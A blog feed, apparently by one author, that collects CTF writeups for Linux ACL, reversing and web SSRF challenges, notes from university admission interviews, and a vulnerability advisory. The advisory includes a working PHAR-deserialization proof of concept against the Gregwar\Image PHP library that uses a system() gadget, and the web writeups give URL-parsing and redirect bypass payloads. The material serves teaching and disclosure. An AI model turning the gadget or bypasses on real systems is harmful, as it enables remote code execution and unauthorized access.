/usr/lib/dbus-1.0/dbus-daemon-launch-helper

好耶 xxd 直接讀檔

trapped@47ca6c33ca55:~$ xxd flag.txt
00000000: 7574 666c 6167 7b53 7065 6369 614c 5f50  utflag{SpeciaL_P
00000010: 6572 6d69 7373 696f 6e7a 7d0a            ermissionz}.

Misc - Trapped in Plain Sight 2

上一題的 revenge，進去後一樣先 ls -al 看看

trapped@30ea1b120183:~$ ls -al
total 36
dr-xr-xr-x  1 trapped trapped 4096 Mar 14 19:23 .
dr-xr-xr-x  1 root    root    4096 Mar 14 19:23 ..
-r--r--r--  1 trapped trapped  220 Feb 25  2020 .bash_logout
-r--r--r--  1 trapped trapped 3771 Feb 25  2020 .bashrc
-r--r--r--  1 trapped trapped  807 Feb 25  2020 .profile
----r-----+ 1 root    root      28 Mar 14 19:23 flag.txt

沒看過的 + 號，上網查一下，發現那是 ACL

ACL (Access Control List, 存取控制清單)，這表示除了 rwx 權限之外，還有額外的權限設定。

那我們用 getfacl

trapped@30ea1b120183:~$ getfacl flag.txt
# file: flag.txt
# owner: root
# group: root
user::---
user:secretuser:r--
group::---
mask::r--
other::---

可以看到有個 secretuser，來看看他的 /etc/passwd

trapped@30ea1b120183:~$ cat /etc/passwd | grep secretuser
secretuser:x:1001:1001:hunter2:/home/secretuser:/bin/sh

hunter2 ? 那是啥? 通靈感覺是密碼...

trapped@30ea1b120183:~$ su secretuser
Password:
$ ls
flag.txt
$ cat flag.txt
utflag{4ccess_unc0ntroll3d}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/utctf2025/

VishwaCTF 2025 Rev Writeup

solarfish — Sat, 17 May 2025 00:00:00 GMT

Reverse

snake

一開始會少 libstdc++-6.dll 跟 libgcc_s_dw2-1.dll 這兩個，所以沒辦法跑起來，直接用 MINGW64 裝就可以了。

跑起來後可以看到是一個貪吃蛇的遊戲。

你是那個 O，然後吃到 F 就可以加一分把他拖進 IDA 看看吧！

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __time32_t v3; // eax
  int v4; // eax
  int v5; // ebx
  int v6; // eax
  int v7; // eax
  int v9; // [esp-Ch] [ebp-10h]
  int v10; // [esp-8h] [ebp-Ch]

  __main();
  v3 = time(0);
  srand(v3);
  HIDE_CURSOR();
  INIT_GAME();
  SPAWN_FOOD();
  while ( !GAME_OVER )
  {
    if ( _kbhit() )
    {
      v4 = _getch();
      if ( v4 == 100 )
      {
        DX = 1;
        DY = 0;
      }
      else if ( v4 > 100 )
      {
        if ( v4 == 115 )
        {
          DX = 0;
          DY = 1;
        }
        else if ( v4 == 119 )
        {
          DX = 0;
          DY = -1;
        }
      }
      else if ( v4 == 97 )
      {
        DX = -1;
        DY = 0;
      }
    }
    MOVE_SNAKE();
    DRAW_GAME();
    if ( CHAKDE == 9999 )
      SHOW_FLAG();
    Sleep(0x64u);
  }
  v5 = CHAKDE;
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Game Over! Score: ", v9, v10);
  v7 = std::ostream::operator<<(v6, v5);
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  return 0;
}

其實蠻直觀的，會先設定好 GAME 的一些東西後開始遊戲。
當 CHAKDE == 9999 時就會顯示 FLAG。
不難猜出 CHAKDE 應該就是分數。

但問題是我們地圖畫面就這麼小，正常玩是不可能的。我這邊的想法是用 gdb 讓他跑到遊戲都設置好後，跳過去 show_flag 那邊就可以獲得 FLAG 了。

flag 的位址

.text:004019A1 ; int SHOW_FLAG(void)
.text:004019A1                 public __Z9SHOW_FLAGv
.text:004019A1 __Z9SHOW_FLAGv  proc near               ; CODE XREF: _main+E4↓p
.text:004019A1
.text:004019A1 var_20          = byte ptr -20h
.text:004019A1 var_4           = dword ptr -4
.text:004019A1
.text:004019A1 ; __unwind { // ___gxx_personality_v0

先執行到把地圖、什麼的都用好。
開空白鍵直接 jmp 0x004019A1

跳過去之後 flag 就出現在 EAX 了

VishwaCTF{th3r3_4r3_5n4k35_all_4r0und}

safe box

一個實作保險箱的 Unity 遊戲，可以讓你輸入密碼甚麼的 (你輸入太多還會跟你講你輸入太多次)
dnspy 打開直接開逆。

不想逆了 @@

而且用 dnspy 執行還要 patch 他的 mono dll 好麻煩

飛龍的部落格有超猛的教學

MelonLoader + UnityExplorer 根本就像開掛一樣

我裝起來之後打開遊戲，用一個叫 object explorer 的功能直接把保險箱刪掉就可以看到 FLAG 了！

點進去左邊，把 gameobject destroy

VishwaCTF{h3r3_y0u_@r3}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/vishwactf2025/

THJCC 2025 Official-Writeup

solarfish — Wed, 30 Apr 2025 00:00:00 GMT

Reverse

time_GEM

tag : rev,easy

I used the Time GEM to put the flag to sleep...

主要的考點是 patch (~~所以出的像是 AIS3 某一題~~)

先來執行看看：

soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T

恩...輸出一個 T 就停住了來拖進 IDA 看一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("I used the Time GEM to put the flag to sleep...");
  puts("Hope you can wake it up!");
  puts("------------------------------splitline!-----------------------------------");
  time_gem("------------------------------splitline!-----------------------------------", argv);
  return 0;
}

time_gem

unsigned __int64 power()
{
  void *v0; // rsp
  __int64 v2; // [rsp+8h] [rbp-160h] BYREF
  int i; // [rsp+10h] [rbp-158h]
  int v4; // [rsp+14h] [rbp-154h]
  int v5; // [rsp+18h] [rbp-150h]
  int v6; // [rsp+1Ch] [rbp-14Ch]
  char *s; // [rsp+20h] [rbp-148h]
  __int64 v8; // [rsp+28h] [rbp-140h]
  __int64 *v9; // [rsp+30h] [rbp-138h]
  _BYTE v10[280]; // [rsp+38h] [rbp-130h] BYREF
  unsigned __int64 v11; // [rsp+150h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  qmemcpy(v10, &unk_2060, 0x10CuLL);
  v4 = 67;
  s = "THJCCISSOGOODIMNOTTHEFLAG!!!";
  v8 = 67LL;
  v0 = alloca(80LL);
  v9 = &v2;
  v5 = strlen("THJCCISSOGOODIMNOTTHEFLAG!!!");
  for ( i = 0; i < v4; ++i )
  {
    v6 = s[i % v5] ^ (i % 256);
    *((_BYTE *)v9 + i) = v6 ^ v10[4 * i];
    printf("%c\n", (unsigned int)*((char *)v9 + i));
    sleep(0x1337u);
  }
  return v11 - __readfsqword(0x28u);
}

可以看到他對資料進行的某些操作，並會把他一個一個字元的印出來 (猜測是 FLAG) 但他在每個字元做完後會睡 0x1337 秒

這時候我們可以善用 IDA 的 patch 功能，把睡的秒數用掉就好了

先打開組語視窗並找到要呼叫 _sleep 那邊，可以看到

1337h 就是要睡的秒數

這邊我是用 Edit -> Patch program -> Assemble

改成 0h 後按 OK

最後按 Edit -> Patch program -> Apply patches to input file...

再去執行一次程式後就看到 FLAG 跑出來了~

soar@universe:/mnt/c/Users/tusoar/Downloads$ ./time_gem_rev
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
H
J
C
C
{
H
0
w
_
I
_
e
n
V
Y
_
4
N
d
_
W
1
5
H
_
r
e
4
L
1
7
Y
_
k
0
u
L
d
_
4
L
5
0
_
k
0
N
7
R
0
l
_
T
I
M
E
-
-
>
=
.
=
!
!
!
}

~~或是你可以硬逆回來也不是不行~~

THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME-->=.=!!!}

Web

Headless

tag : web,easy

I think robots are headless, but you are a real human, right?

觀察一下，是個甚麼都沒有的網頁，但題目有提示你要去 robots.txt 裡面有個 /hum4n-0nLy 的 route

進去之後會發現它其實是這題的 source code：

from flask import Flask, request, render_template, Response
from flag import FLAG

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/robots.txt')
def noindex():
    r = Response(
        response="User-Agent: *\nDisallow: /hum4n-0nLy\n",
        status=200,
        mimetype="text/plain"
    )
    r.headers["Content-Type"] = "text/plain; charset=utf-8"
    return r

@app.route('/hum4n-0nLy')
def source_code():
    return open(__file__).read()

@app.route('/r0b07-0Nly-9e925dc2d11970c33393990e93664e9d')
def secret_flag():
    if len(request.headers) > 1:
        return "I'm sure robots are headless, but you are not a robot, right?"
    return FLAG

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

有個 /r0b07-0Nly-9e925dc2d11970c33393990e93664e9d 可以獲得 FLAG，但請求標頭不能大於一，這邊可以用很多方法送 curl,nc,burp suite... 都可以！

這邊示範用 burp suite 送

唯一的坑點應該就是如果你用 burp suite 送，最後那邊應該要兩個 \r\n 不然會卡住

THJCC{Rob0t_r=@lways_he@dl3ss...}

proxy | under_development

tag : web,hard

More verification! More features!

Bypass the impossible verification logic and try to fetch secret.flag.thjcc.tw/flag to get the FLAG!

沒錯，~~流量轉發到別人家的題目又來了~~

上次說要出 revenge 後原本想找 1day 來出，但發現這樣好像不太好玩，所以這題就變成各種玩 url 的小花招 (~~如果你平常很閒沒事一直玩 url 應該很快就可以解出來~~)

先來看 source code：

const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');
const urlModule = require('url');
const dns = require('dns');
const { http: followHttp, https: followHttps } = require('follow-redirects');

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

function CheckSeheme(scheme) {
    return scheme.startsWith('http://') || scheme.startsWith('https://');
}

app.get('/fetch', (req, res) => {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send('Missing parameters');
    }
    const client = scheme.startsWith('https') ? followHttps : followHttp;
    const fixedhost = 'extra-' + host + '.cggc.chummy.tw';

    if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
        return res.send('Development in progress! Service temporarily unavailable!');
    }

    const url = scheme + fixedhost + path;
    const parsedUrl = new urlModule.URL(url);

    dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
        if (err) {
            console.log('DNS lookup failed!');
        }
        if (address == '172.32.0.20') {
            return res.status(403).send('Sorry, I cannot access this host');
        }
    });

    if (parsedUrl.hostname.length < 13) {
        return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
    }

    client.get(url, (response) => {
        let data = '';

        response.on('data', (chunk) => {
            data += chunk;
        });

        response.on('end', () => {
            res.send(data);
        });
    }).on('error', (err) => {
        res.status(500).send('Failed to fetch data from the URL');
    });
});

app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on http://0.0.0.0:3000');
});

目標是戳到 secret.flag.thjcc.tw/flag 但有幾關要繞指定 domain 的部分一樣可以用 @ 去繞

但這次要克服更多的關卡

首先是 scheme 的問題

function CheckSeheme(scheme) {
    return scheme.startsWith('http://') || scheme.startsWith('https://');
}

const fixedhost = 'extra-' + host + '.cggc.chummy.tw';

if (CheckSeheme(scheme.toLocaleLowerCase().trim())) {
        return res.send('Development in progress! Service temporarily unavailable!');
    }

這次在前面加了前墜，還有過濾大小寫、空格這些限制但其實 scheme 很寬鬆你可以給 http:/\, http:/ , http:\\ 甚至不給 /,\ 都是可以的

再來是 IP

可以先去看 docker-compose.yml 發現他幫 secret.flag.thjcc.tw 指定了 IP

version: "3.5"

services:
  secret.flag.thjcc.tw:
    build:
      context: ./flag
    networks:
      custom_network:
        ipv4_address: 172.32.0.20

  proxy-under_development:
    build:
      context: ./src
    environment:
      - NODE_ENV=production
    ports:
      - 10068:3000/tcp
    networks:
      custom_network:
        ipv4_address: 172.32.0.10

networks:
  custom_network:
    driver: bridge
    ipam:
      config:
        - subnet: 172.32.0.0/16

接著在這個地方去做檢查，用 dnslookup 解析並限制你的 IP (其實也就是指你不能直接用 secret.flag.thjcc.tw 這個 domain)

dns.lookup(parsedUrl.hostname, { timeout: 3000 }, (err, address, family) => {
        if (err) {
            console.log('DNS lookup failed!');
        }
        if (address == '172.32.0.20') {
            return res.status(403).send('Sorry, I cannot access this host');
        }
    });

觀察一下發現這次的 http 多開了 redirect 功能

const { http: followHttp, https: followHttps } = require('follow-redirects');

所以你可以自己寫一個網頁讓他訪問，再讓他 redirect 到 secret.flag.thjcc.tw/flag 就好。 ( 對了，~~如果你這關是 bypass node.js 的 url module 可以來 DM 我，我要跪你~~

這邊示範用 python

from flask import Flask, redirect, url_for

app = Flask(__name__)

@app.route('/')
def home():
    return redirect("http://secret.flag.thjcc.tw/flag/")


if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0',port=48763)

寫好網頁後你可以用 VPS, 免費的 ngrok 或是這個超酷的網站架起來

沒錯，這段

if (parsedUrl.hostname.length < 13) {
        return res.status(403).send('My host definitely more than 13 characters, Evil url go away!');
}

就是禁短網址用的，我不知道還有這種東西 www

最後一步了

當你開心的指去 secret.flag.thjcc.tw/flag 時你會收到 I have said the service is temporarily unavailable now! (；′⌒`)

原因是因為 flag/app.js 中有個檢查是：

app.get('/flag', (req, res) => {
    
    if (req.path === '/flag'){ // WTF?
        return res.send('I have said the service is temporarily unavailable now! (；′⌒`)');
    }

    if (req.hostname === 'secret.flag.thjcc.tw')
        return res.send(FLAG);
    else
        return res.send('Sorry, you are not allowed to access this page (；′⌒`)');
});

啥? 請求 flag route 但 request 的 path 又不能是 /flag ???

但我們可以自己實驗一下， req.path 顧名思義就是會存進你整個請求的路徑，所以我們的目標是做出跟 /flag 一樣效果的變種路徑

其實也有很多方法可以寫，像是 /flag/,/flag/meow/../ 等等

把這些想法串在一起送過去就獲得 FLAG 了！

payload

http://chal.ctf.scint.org:10068/fetch?scheme=http:/\&host=meow&path=@{redirect's url or server}

THJCC{--->redirection--->evil-websites--->redirection--->bypass!--->flag!}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/thjcc_2025/

資訊工程學系 (資安組) 特殊選材面試題目統整

solarfish — Thu, 13 Feb 2025 00:00:00 GMT

前言

身為一個技職體系的人，平常的升學管道不是技優推甄、甄選。最後登分，若能比好技能競賽或是工科賽，也有機會獲得保送資格。但在我高一開創了我們學校幾乎是第一個接觸資安的人 (~~恩對，會說幾乎是因為其實有，但那位學長 108 屆，我剛進來根本不認識~~)，透過社群瞭解到資安特選這個升學管道，但在今年八月準備備審資料時，幾乎沒有高職生特選資安組的先例 ~~之前資安組中工好像有一個上交大~~，但那畢竟是頂大，接下來我會盡量還原我特選時發生的事，希望能幫助未來的高職生完成特選的夢想，最後我也會在所有面試結束及放榜時來說說我和一般的高中生特選時差在哪裡，總之，讓我們快開始吧！

國立臺灣師範大學

筆試

程式設計

#include<stdio.h>
int main(){
    int a=0;
    for(int i=0,j=0;i<5;j= j + (i++))
        a+=j;
    printf("%d",a);
}

求出 a 執行後是多少

#include<stdio.h>
int f(int x,int y){
    return x | (1 <<y);
}
int main(){
    int a = f(2,7);
    printf("%d" , a);
}

求出 a 執行後是多少

(很像一題考古題)

系統安全

soar@Universe:/usr/bin$ ls -al | grep passwd
-rwsr-xr-x  1 root root       72072 Feb  6  2024 gpasswd
-rwsr-xr-x  1 root root       59976 Feb  6  2024 passwd

問 rws 中的 s 是做甚麼用的

soar@Universe:/proc$ ls -al | grep version
-r--r--r--   1 root             root                           0 Feb 13 13:49 version

為什麼他的容量是 0 Byte

在 linux 中把檔案變隱藏檔要用什麼指令

網路安全

ping 原理

ip 分享器原理

瀏覽器中的 "你與這個網頁的連線不安全"
請至少說出三種原因為何造成這樣

密碼學

凱薩密碼 (我記得 padding 是 -8)

擴展歐幾里得演算法

1～143中與143互質的數有幾個

好像是網頁簽章為何使用 16bit 的 key 不安全，並要你證明 (這題我有點忘記了)

面試

共分三間，第一間自我介紹加英文 QA ，第二間問專業問題跟早上的筆試，第三間比較像聊天跟談大學之後要幹嘛。

第一間

我 : 自我介紹大超時

教授 : 接下來我們會進行一些英文的對話

我 : 好

教授 : 你未來有計畫去考一些英文證照或是檢定之類的嗎 (英文)

我 : (腦袋空白...)

這邊教授以為我聽不懂所以又用中文講一次給我聽，其實我只是不知道該怎麼講

教授 : 因為看你英文成績還蠻好的...

我 : 喔喔，我比較會讀寫

教授 : 那之後有打算怎麼加強嗎

我 : 大概從生活... (感覺沒回答很好)

然後就因為沒甚麼時間 QA 就被叫出去了 qwq

第二間

教授 : 早上的筆試答的怎麼樣?

我 : 我覺得程式方面有點粗心，但網路及系統方面是我比較有把握的，因為我平常就在使用。

教授 : 你平常都在幹嘛?

我 : 我專注於滲透測試及白箱安全，平常的時候會挖掘漏洞，在 AIS3 也有做過專題。

教授 : 你 AIS3 做了什麼。

我 : 我去年的話參加了 [網頁安全] 的組別，跟著隊友學習到了怎麼白箱的技巧，以及快速動態分析，挖到了開源專案的 ZeroDay。今年因為參與到了新的組別 [進階資安攻防競技] 需要出 CTF 題目，我突發奇想，把去年學到的技巧用來挖漏洞並出成題目，連續兩屆獲得最佳專題。

教授 : 那你可以說說平常挖過什麼樣的漏洞嗎?

我 : 最常見的是 SQL Injection，還有前陣子挖到一個有趣的 SXSS 洞。

教授 : 請問怎麼防禦 SQL Injection?

我 : 做 Prepare Statement。

教授 : 甚麼是 Prepare Statement?

我 : 就是參數化查詢，不是直接把變數插入在查詢語句中。

教授 : 了解。那聽說你也有在你們學校找過漏洞。

我 : 有。是一個邏輯漏洞，與驗證碼實作不當有關。

教授 : 最後剩一分鐘了，你還有什麼問題要問嗎?

我 : 問了師大資安攻防演練的課。

教授 : 那門課就是我開的，順便跟我解釋了一下特選生應該都會上進階資安攻防的課程 (這是個伏筆)。

第三間

一進去坐下後...

教授 : 同學我看你經歷好像很豐富，應該投哪間上哪間吧。

我 : 微笑又尷尬地看著教授。

教授 : 先來聊聊，你幹嘛不學一般的高職生去臺科大，看你成績也不錯，應該用考的也可以進吧。

我 : 我想進入普大，而不是像一般人進入技職體系。

教授 : 我是說，有什麼特別的原因嗎?

我 : (回收伏筆) 把剛剛在第二間教授跟我說的進階資安攻防課程特色跟教授講了一遍。

教授 : 啊我怎麼都不知道，你們現在學生上網搜尋能力很強喔。

我 : ~~再次微笑又尷尬地看著教授~~。

教授 : 是說你是怎麼學資安的。

我 : 把我是我們學校第一個碰資安的故事講給教授聽，並且說經過 MyFirstCTF 後我接觸到社群慢慢變強。

教授 : 啊我看你備審裡說你加入了成大資安社，那是在幹嘛? 還有你有特選成大嗎?

我 : 我希望能接觸外面的社群及資源才加入了成大資安社，我們會一起打比賽，每月還有讀書會，像我也在上面發表過 ZeroDay。然後我沒有特成大，因為他沒開資安組。

教授 : (看了時間) ㄟ你很好聊ㄟ，先來翻卡片好了。

我 : (因為前面幾乎都聊到重複的，所以只翻了 "未來" 這個卡片)

我 : 講了一些回饋社群之類的東西。

國立清華大學

只有一間，較無時間壓力，教授手邊會有平板看你備審，然後問題通常都從簡報問。 (據可靠消息指出教授都是打 Pwn 的)

我 : 自我介紹 4~5 分鐘 (有多補充一些東西，因為不用太怕超時)

教授 : 你剛剛有提到 EOF 是計算機安全的期末考，可以稍微解釋一下嗎。

我 : 跟教授介紹了下 EOF 整個比賽在幹嘛，以及 EDU CTF。

教授 : 那你和你 EOF 的隊友是怎麼認識的。

我 : 我們那一屆比較特別，是先各自打初賽，再進到線上去媒合。 (順便簡單介紹一下我的隊員也有在清大裡)

教授 : 那你在 EOF 的貢獻為何? 還有學到了甚麼東西。

我 : 我是負責 KoH 的題組 (講了一下 Rush Popper 這題)。我也和隊友學到了怎麼 patch 等技術。

教授 : 有打 CGGC 跟金盾嗎?

我 : 金盾的話是差兩題進決賽，CGGC 的話是最近要做備審跟考試沒有打。

教授 : 剛剛看到你有資安攻防演練，可以解釋一下他是在幹嘛的嗎。

我 : 他會持續很多個禮拜，每個禮拜都會有清冊可以檢測大專院校的一些網站。

教授 : 那你在做這個演練時有繞防火牆的經驗嗎?

我 : 舉個例子像是 SQL Injection，那個網站擋掉了一些特殊字元，那這時就不再只侷限在 Real World，我會利用到我 CTF 學到的一些經驗 (類似的題目) 去 Bypass 它。

國立陽明交通大學

也只有一間，教授大概會從你給的資料去問你，當然現場可以給教授紙本資料 (~~但我沒帶~~)

教授： 請先用大概一分鐘自我介紹你自己，盡量講出你的亮點說服我們錄取你。

我：開始自我介紹。

教授： 技能競賽是在做甚麼的。

聽到這問題其實我有點疑惑，但教授的樣子好像真的不知道，所以我跟他們講了一下賽制跟是誰出題這樣子。

教授： 那你北區第一名是只有一個第一名嗎。

我：兩人一組比賽，我們是北區中的第一名，還有中區跟南區。

教授： 我看你學校成績跟競賽成績都維持得不錯，是怎麼做到的。

我：我認為時間規劃很重要，所以我很會控制自己甚麼時間該做甚麼事，有效利用時間。

教授： 那你未來有想做甚麼資安相關的工作嗎。

我：我想以漏洞研究方面進行，因為我平時就花很多時間在上面。

真的就這麼少，因為解釋技能競賽花了蠻多時間的，然後我和教授面完還會尷尬的對視，過個幾秒教授才又問問題。

國立中央大學

幾乎是最早面的一間大學了，想練面試都沒辦法，~~我幾乎是拿中央大學來練面試~~ ~~然後教授感覺想下班~~，越後面面被問的問題就越少。

教授： 你從哪裡得到這些資安資源，怎麼學習資安的。

我：講我學校第一個玩網安的事情，還有用線上用一些大學的影片跟接觸社群。

教授： 像是如果有資料外洩等攻擊，你會給予公司或開發者什麼建議。

我：舉例了可能是人為疏失或是有漏洞駭客入侵，並分別舉例應對回應。

教授： 分享一下你平常挖掘的漏洞哪種最常出現。

我： XSS 和 SQLi，順便把 patch 的手法講了一次。

國立臺灣大學

書審被刷　(X

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/scp_interview/

THJCC 2024 Winter：proxy revenge Official-Writeup

solarfish — Sun, 15 Dec 2024 00:00:00 GMT

前言

上次打完 THJCC 後跑來當出題組，原本想說還好，但真正要出的時候才發現要控制難度有點困難。 (~~原本沒被 nerf 過的版本希望下次可以出 Revenge Revenge~~)

然後我忘記 subdomain 的 blog 是真的有東西的，所以原本那題 proxy 的出題者增加了許多~~曝光率~~瀏覽次數。

proxy revenge

source code

const express = require('express');
const http = require('http');
const https = require('https');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

function CheckIfHttp(scheme) {
    return scheme.startsWith('http://');
}

app.get('/fetch', (req, res) => {
    const scheme = req.query.scheme;
    const host = req.query.host;
    const path = req.query.path;
    if (!scheme || !host || !path) {
        return res.status(400).send('Missing parameters');
    }
    const client = scheme.startsWith('https') ? https : http;
    const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it

    if (CheckIfHttp(scheme)) {
        return res.send('Sorry, Only accepts https'); // pls no http :(
    }

    const url = scheme + fixedhost + path;
    console.log('[+] Fetching :', url);
    client.get(url, (response) => {
        let data = '';

        response.on('data', (chunk) => {
            data += chunk;
        });

        response.on('end', () => {
            res.send(data);
        });
    }).on('error', (err) => {
        console.error('Error: ', err.message);
        res.status(500).send('Failed to fetch data from the URL');
    });
});

app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on http://0.0.0.0:3000');
});

題目說要你透過這個訪問 secret.flag.thjcc.tw 上網查一下就可以知道在沒有硬控制加上 / 的情況就可以用 @ 讓他訪問後面的網址像是 :

https://google.com@tusoar.tech -> 會去 tusoar.tech
https://google.com/@tusoar.tech -> 會去 google.com 然後他會把後面當路徑

好講回來題目，所以我們只需要給一個

http://cha-thjcc.scint.org:10068/fetch?scheme=https://&host=blog&path=@secret.flag.thjcc.tw

基本來說就可以訪問，但卻顯示

Failed to fetch data from the URL

去本地看一下錯誤訊息就會知道

web-1                   | TypeError [ERR_INVALID_PROTOCOL]: Protocol "https:" not supported. Expected "http:"
web-1                   |     at new NodeError (node:internal/errors:372:5)
web-1                   |     at new ClientRequest (node:_http_client:164:11)
web-1                   |     at request (node:http:96:10)
web-1                   |     at Object.get (node:http:107:15)
web-1                   |     at /app/app.js:32:10
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
web-1                   |     at next (/app/node_modules/express/lib/router/route.js:149:13)
web-1                   |     at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
web-1                   |     at /app/node_modules/express/lib/router/index.js:284:15

原來是沒有支援 https，但題目今天給了個檢查

function CheckIfHttp(scheme) {
    return scheme.startsWith('http://');
}

但這其實很好繞，~~又是老梗的檢查大小寫問題~~

http://cha-thjcc.scint.org:10068/fetch?scheme=htTp://&host=blog&path=@secret.flag.thjcc.tw

FLAG : THJCC{N0...K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}

Unintended Solution

由於我在檢查時使用了
scheme.startsWith('http://');
而不是 scheme.startsWith('http');
所以 @legendyang 也利用拼回去的方式解出這題

http://cha-thjcc.scint.org:10068/fetch?scheme=http&host=://sec&path=@secret.flag.thjcc.tw:80/

這樣也可以拿到 FLAG

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/thjcc_winter/

AIS3 2024's Research

solarfish — Wed, 07 Aug 2024 00:00:00 GMT

Description

Gregwar\Image is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when Gregwar\Image is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If the user can control the input file and protocol during the image conversion , it will invoke deserialization.

Proof of Concept (PoC)

there is a vulnerable example with : GD.php

GD.php line 610~617

protected function openJpeg($file)
    {
        if (file_exists($file) && filesize($file)) {
            $this->resource = @imagecreatefromjpeg($file);
        } else {
            $this->resource = false;
        }
    }

You can see there's a file_exists function, and when we pass in a JPEG file, it gets triggered.
However, in the implementation method of File.php, if we pass in a file other than JPEG, PNG, GIF, or WebP, the program will still automatically set the type to JPEG for us.

File.php line 29~61

     public function guessType()
    {
        if (function_exists('exif_imagetype')) {
            $type = @exif_imagetype($this->file);

            if (false !== $type) {
                if ($type == IMAGETYPE_JPEG) {
                    return 'jpeg';
                }

                if ($type == IMAGETYPE_GIF) {
                    return 'gif';
                }

                if ($type == IMAGETYPE_PNG) {
                    return 'png';
                }

                if ($type == IMAGETYPE_WEBP) {
                    return 'webp';
                }
            }
        }

        $parts = explode('.', $this->file);
        $ext = strtolower($parts[count($parts) - 1]);

        if (isset(Image::$types[$ext])) {
            return Image::$types[$ext];
        }

        return 'jpeg';
    }

Thus, we create the PHAR file like this.

create_phar.php

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('poc.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

root@192a018e0acc:/var/www/html# php --define phar.readonly=0 create_phar.php

We obtain the file.:

And we setup the following code in /var/www/html: vuln.php represents our use of gregwar/image functions and poc.php represents code with a vulnerable POP chain.

poc.php

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

vuln.php

<?php

    require_once 'vendor/autoload.php';

    include 'poc.php';

    use Gregwar\Image\Image;

    Image::open('phar://poc.phar/')
        ->resize(500, 500)
        ->save('out.png', 'png');

And execute vuln.php with php vuln.php, you should see whoami being executed

Mitigation

Add a whitelist to enhance input validation.

Reference

https://github.com/Gregwar/Image/tree/master https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization https://github.com/Gregwar/Image/issues/193

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/gregwar_research/

THJCC CTF Writeup

solarfish — Sun, 28 Apr 2024 00:00:00 GMT

Welcome

Welcome 0x1

歡迎來到 THJCC CTF !

本次競賽所有Flag格式為 THJCC{*.}

記得要詳閱規則 不要作弊!

祝各位榮獲佳績!ヽ(́◕◞౪◟◕‵)ノ

Author : OsGa

標籤上面有一個 FLAG (1/2)
規則的最底下又有一個 (2/2)

FLAG : THJCC{5cINt_sC4icT_5C1sT}

Discord 0x1

相信你已經加入 Discord 伺服器了!

如果還沒 https://discord.gg/RDhf7rxz4f 趕快加入 領取身份組 !!

我已經把這題的Flag藏在伺服器裡了 快去尋找吧!

備註:題目與ticket無關

加入 Discord 看到 THJCCBOT 上面有兩段 FLAG (在橫幅跟身分組) (1/3) (3/3)
(2/3) 在 BOT 的命令先 ls 再 cat flag.txt 就出來了

FLAG : THJCC{r3meMB3R!J01Ndi5c0rD_5eRv3r}

Web

Empty

空空如也的網站....
http://23.146.248.36:10002/

Author: Whale120

base64 解碼 js 裡的東西加上註解的那個神祕路徑裡面的另一段 FLAG :P

FLAG : THJCC{cookie_&view_source!}

blog

http://23.146.248.36:10001/
請幫我找到我blog的密碼,感恩 ><
p.s.我好像很粗心的把密碼留在哪裡qwq
Author: Whale120

觀察一下，是個 blog 的發表介面，然後每個欄位都有地方可以登入
原本在那邊 sqli 但是好久都試不出來 qwq
最後回去觀察題目 p.s.我好像很粗心的把密碼留在哪裡qwq
看到一個疑似 password 的留言 iloveshark
把他跟 admin 拿去登入就過了 ~~其實這題我卡超久...~~

FLAG : THJCC{w31c0me_h@cker}

Simplify

http://23.146.248.36:10003/
試著成為admin吧~
可以使用帳號密碼 test:test1234 進行登入
